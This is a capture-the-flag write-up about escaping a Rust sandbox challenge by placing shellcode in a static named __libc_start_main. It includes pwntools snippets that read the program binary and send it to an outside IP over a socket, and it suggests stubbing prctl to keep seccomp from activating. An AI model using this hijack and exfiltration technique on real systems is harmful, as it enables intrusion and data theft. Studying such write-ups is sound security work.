Rating: 5.0

In this challenge, one was supposed to provide a file code.rs with a function
code, which would be called from a main program that looks like this:

rust
extern crate code;
use code::code;

fn main() {
// hidden
code();
}


To make things more interesting, the provided code was compiled with a switch
that disables all usage of unsafe, and usage of any of the include*!()
macros (which could leak the contents of main.rs during compilation) was
disallowed.

I first unsuccessfully tried to force a stack overflow - the Rust compiler has a
static limit on the size of a stack frame, and there is no alloca/VLA support
in Rust. My next idea was to use #[no_mangle] on an unsafe function and name
it identically to the mangled name of code::code() which I'd mark weak to
prevent linker issues with the duplicate symbol. Unfortunately, you can't mark a
symbol as weak in Rust. Then I was thinking about providing my own version of
free with one that prints anything it gets that looks like a flag. However,
that didn't work out because Rust by default ships with a statically linked
jemalloc, so overriding a dynamically linked function is not possible.

Looking through [the list of
attributes](https://doc.rust-lang.org/reference/attributes.html), I finally came
up with a working solution. The code() function is actually empty, instead I
embedded some shell code in a static byte array called __libc_start_main.

rust
#[no_mangle]
pub static __libc_start_main : [u8; 127] = [
...
];

pub fn code() {}


I first used pwntools to generate some shellcode that would leak me the compiled
binary so that I could find out how the flag is retrieved in the main function:
python

#!/usr/bin/env
import sys

from pwnlib.shellcraft.amd64.linux import connect, readfile, exit
from pwnlib.asm import asm

code = readfile('/proc/self/exe', 1) + exit(0)
sys.stdout.write(asm(code, arch='amd64'))


Because the web interface for the challenge used a fancy web terminal
that was not meant to display huge amounts of binary data (and required a
captcha which was hard to use from curl), I changed it to send the binary to a
network socket:

code = ''
code += connect('78.46.244.89', 1337)
code += exit(0)


Reversing this binary, I found that it just reads the flag from a file called
flag.txt. So I changed the shellcode above to send this file instead of
/proc/self/exe to get the flag.

#### Easier Solution?
Looking back, I was wondering why I even bothered with
all this shell code. No unsafe code is required for reading files or opening
sockets. I think, I could just have written some Rust code that does the same
thing as my shellcode. Reversing the binary a bit further beyond the reference to
flag.txt revealed that seccomp in strict mode was used to prevent any syscalls
except read, write and _exit from working. Since our fake
__libc_start_main runs instead of the normal main, this sandbox never
becomes active, of course.

I guess the simplest solution would have just included an empty function for
prctl to prevent seccomp from going active. Then the code::code function
could have just read the flag using normal Rust code.

Original writeup (https://maltekraus.de/blog/ctf/english/2018/10/18/hack-lu.html).